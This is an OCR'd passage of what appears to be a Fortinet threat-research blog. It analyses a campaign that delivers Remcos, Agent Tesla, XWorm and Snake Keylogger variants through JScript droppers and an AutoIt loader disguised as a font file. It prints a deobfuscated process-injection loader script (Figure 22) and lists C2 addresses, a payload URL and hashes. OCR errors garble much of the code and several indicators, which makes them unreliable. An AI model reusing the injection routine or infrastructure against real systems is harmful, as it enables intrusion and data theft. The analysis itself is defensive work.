Tdata 004 e
Tdatac 004 ==
sdata; 004+
Tdata:004 ==
Tdata 004+
rdata00d ===

| A A

A 2 O

T FFFFFEFE

FII-

A

o A |

,

[l A T O
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00000028
Oo0000zs
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00000014
oonaoo1c
00000014
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0000002ZE
000000ZA
00000024
00000024
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000000ZE
oonoo01c
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oooooo14
00000007
00000052
0o000016
00000045
0o0000za
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0000001 A
0o0oo012
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& B & = & 8
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|
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Autolt w2 GUI
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software Wi utolt w2 utolt
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AUTOITWINSETTITLE
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AUTOITEETOPTION
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AUTOITVEREION
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AUTOIT ERROR
teatblp00Antalt?

% | auboit
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Figure 20: Strings found in the Autolt Interpreter.
Initial analysis reveals that the script employs obfuscation techniques, including string
encryption and the use of randomized, long-form variable names.

EMFVEFRUOTLPAZNPLOTHY TON. AL BEREMIDTRYHQGAPCCSEXYPIFPCZICKRATIGAK {

FAQ

CIFunc T EMQAGCAVTERAL

MY = Binary{

| Te BinaryLen

VEARLUBEASDY
11 1

DoIINMomDLLStEUCtLente (
TEDK |

Figure 21: Obfuscated script and the string decoded routine

Once deobfuscated, the script's true behavior becomes clear. It first defines the necessary
structures to launch C:\Windows\Syswow64\colorcpl.exe as a suspended process. It then
locates a local data file, decrypts it using XOR, and finally uses low-level ntdll.dll functions to
perform process injection and execute the payload. Similar Autolt loaders were mentioned in
G Data blog posts analyzing a Remcos campaign.
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P| Local SPROCESS INFJQMAT:SN—DllstructCreate("3““ ph;ptr th;dword pid;dword tid")
4 If Not DllCall{" LT

M.

bool"™, "CreateProcessA" ,"ptr",0,

nn
r

namwe ¢ Wt ™ n,__ -1 Mgy ~~7 M W e ymang %08
\Winaows\ cr, Ll ,Y, DOOL" VU, AWOId ’

Itz” , - ,0,"pte" DllstructGetPtr(SSTAQTUP;NFG) "ptr” DllstructGetPtr(
$PROCESS TNTPQMET‘JN)}{ ] Then Exit
Local ShProcess=DllstructGetData(SPROCESS INFORMATION,ph)

Dl1lCall("kernel32.d1l™,"™ bool","Close g‘iiie","i:nmle” ,DllstructGetData(
SPROCESS INFORMATION,th))

Local SEG*IYDFGJDdy¢u53LJ‘F = FileOpen(@ScriptDir & "\KQUDHNTWHMSKDNYCFLVDTGZFV", 1¢€)
If SEncryptedPayloadFile=-1 Then Exit
Local SEncryptedPayload=FileRead(SEncryptedPayloadFile)
FileClose (SEncryptedPayloadFile)
Local SEncryptedPayloadLe n=BlnaryLen(SEnFryDtEdDayload),aXerEy= 1
Local StBuffer=DllstructCreate("byte ["&SEncryptedPayloadLen&" ")
DllstructSetData(StBuffer 1, SEncry;#eaPay¢uaa)
For 5i=0 To S5En *ryL edPayloadLen-
T Local 55ch= Bi tXOR(DllstructGetData(S:ELffer l,51i+1) , SXorKey)
DllstructSetData(StBuffer,l,$5ch,$i+l)
Next
b| Local sSntdll=Dl1lCall("kernel32.dll", "handle","GetModuleHandleA","str","ntdll.dll",)[
1
4| Local SEaseAddress=.,qr-arq*ryo*haoay‘:aaﬂr1+....jij;i
Local SAllocatedMem=Dl1CallAddress (int, SFunc_ NtAllocateVirtualMemory "h ,
ShProcess, "r‘“'“, SEaseAddress,"dirn.", ,”‘i:?'“,sr,”:lf:;", X ,"ulong",0x40)

If @error Or SAllocatedMem[(]<>! Then Exit
SBaseAddress=5AllocatedMem([2]

Local SStatus=DllCallAddress(int,$Func NtWriteVirtualMemory,"handle" ,$hProcess,"ptr"
 SBaseAddress,"ptr" DllstructGetPtr{StEuffur),”J;323",o;r:rypb7dpayioadien,"d;onq‘"
)

If @error Or SStatus[0]<>0 Then Exit
Local SThreadHandle=

Local 5Statusl=DllCallAddress(int,$Func NtCreateThreadEx,"ptr*",6 SThreadHandle,"dword"
,0X1FFFI r" ,0,"handle" ,S$hProcess,"ptr" eﬂaSHAaarPff "%“:“ , ,“;;::T',,

"ulong ptr", long ptr",0,"ulong ptr", "'::" )

If Not @error And S5SStatusli[0U]=0 Then DllCall(" ernel32.d41i1"," " "CloseHandle",

"handle" ,SStatusli[l])

Dl1lCall("kernel32.d1ll"," bool","CloseHandle","handle" ,S$hProcess)

Figure 22: Deobfuscated Autolt script.
The execution flow is similar to the earliest Lua sample we tracked. Additionally, it is

noteworthy that the script employs the same evasion strategy—allocating a significantly larger

memory region—to bypass detection.

Donut Shellcode and Payload

The malicious payload is wrapped using the Donut shellcode generator. Upon successful
execution of the Donut shellcode, a built-in reflective loader maps and executes the payload
directly in memory, achieving a fileless state to evade disk-based detection.

Throughout these campaigns, we observed the threat actor staging and deploying multiple
Remote Access Trojans (RATs) and infostealers on victims' systems. The identified payloads
include Remcos, Agent Tesla, XWorm, and Snake Keylogger variants. These payloads grant
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the attacker full remote administrative control and enable extensive data exfiltration from
compromised systems.

Best Private LOGGER

Best Private LOGGER appears to be a modified version of an older Snake Keylogger. As
shown in the entry point below, the malware uses a hardcoded signature—'Best Private
LOGGER'—which is combined with the data it harvests from the victim.

PR =P -0 nyo
lplZllallUllE = L |

,I-I--I--I-r--i--l--l--l--l-r-1-I--I--I-+l'-l-I--I--I--I-l'---I--I--I-i--i---l-l--l--l--l-l'1-I--I--I--I-l'-li--l-i--l-l'--i-i--l-i--l-ri-l-i--l-'-I

..|+++l--+++++--i++++l--l++++|--+++++--l++++l-i++++|--l++++l--+++++-i+++"

Figure 23: Main function of Best Private LOGGER.

Additionally, we acquired a Snake VIP Keylogger builder and used it to generate both
protected and unprotected versions of the payload for comparative analysis, shown in Figure
24.
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Figure 24: Snake VIP Keylogger builder and a protected version program.

We subsequently conducted a comparative analysis of the data collection modules across the
obfuscated Snake Keylogger, the unprotected VIP Keylogger (generated from the builder),
and the Best Private LOGGER. As shown below, all three use the same collection module and
coding style. The only observed differences are marginal modifications to the signature and
slight variations in the data format.

Figure 25: Snake Keylogger(left), Snake VIP Keylogger (middle), and Best Private LOGGER
(right).

A comparison of the two samples shows that the naming conventions in the unprotected
Snake VIP Keylogger and Best Private LOGGER are identical. However, Snake VIP
Keylogger has a more extensive feature set, including anti-analysis capabilities and Wi-Fi
harvesting. Given these structural similarities, we have identified Best Private LOGGER as a

variant of Snake Keylogger.
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Figure 26: Unprotected Snake VIP Keylogger (left) and Best Private LOGGER(right).

Conclusion

Behind a seemingly harmless file extension lies real danger. In these campaigns, the dropped
executable serves as an interpreter, while the core loader script is disguised as a .ttf
extension. This disguised loader decrypts, loads, and executes the subsequent stage, which
ultimately deploys the malware.

This article reveals a large-scale attack campaign involving heavily obfuscated JScript
droppers. These droppers launch an Autolt/Lua-based loader to deploy various popular RATs
and infostealers, including a version of the Snake Keylogger. The infection chain exploits
business email compromise by pretending to be trusted companies, causing a significant
global impact. Additionally, our review of the loader's development shows it is regularly
updated to avoid detection and make analysis more difficult.

Fortinet Protections

The malware described in this report are detected and blocked by FortiGuard Antivirus as:

PDF/Agent.A529!tr
JS/Formbook.PYN!tr
JS/Agent.UNU!tr
JS/Formbook.AK!tr
JS/Obfus.gen!tr
Data/Agent.DD19!tr
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Data/Lua.9'tr

Autolt/Autoit. OTS!tr
W64/Donut.E!tr
MSIL/AgentTesla.B!tr
W32/Rescomms.Bltr
MSIL/Agent.ECL!tr
MSIL/SnakeStealer. AVQ!tr.spy

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard Antivirus Service. The
FortiGuard antivirus engine is part of each of those solutions. As a result, customers who
have these products with up-to-date protections are protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the malicious

macros within the document.

We also suggest that organizations take the free Fortinet Fortinet Certified Fundamentals

(ECE) cybersecurity training. The training is designed to help users learn about today's threat
landscape and introduces basic cybersecurity concepts and technology.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block malware attacks
by aggregating malicious source IP data from the Fortinet distributed network of threat

sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate
to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please
contact the Global FortiGuard Incident Response Team.

I0Cs

C2:

104[.]239.66.86[:]7004
46[.]183.223.21[:]2404
107[.]174.34.137[:]443
newremupdate[.]Jduckdns.org[:]2404
mail[.Jteamengineersgroup.com
mail[.]allportcargoservice.com
mail[.]trimnt.com
mail[.]taikei-rmc-co.biz
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http://www.fortinet.com/nse-training?utm_source=blog&utm_medium=blog&utm_campaign=fortinet-fcf
http://www.fortinet.com/nse-training?utm_source=blog&utm_medium=blog&utm_campaign=fortinet-fcf
http://www.fortinet.com/support/support-services/fortiguard-security-subscriptions/ipreputation-antibot?utm_source=blog&utm_medium=blog&utm_campaign=fortiguard-ip-rep
http://www.fortinet.com/support/support-services/fortiguard-security-subscriptions/ipreputation-antibot?utm_source=blog&utm_medium=blog&utm_campaign=fortiguard-ip-rep
http://www.fortinet.com/corporate/about-us/contact-us/experienced-a-breach?utm_source=blog&utm_medium=blog&utm_campaign=

URLSs:

hxxpsl[:]//cdn[.]discordapp[.Jcom/attachments/1499192125093449759/1511147377979818074
/F10097782_Request-9200090_0990[.]PDF[.]JS

PDF:

9674da676ee226ee456d35c774715d9b58655423806f281de19dc9ef899e9532

JScripts:
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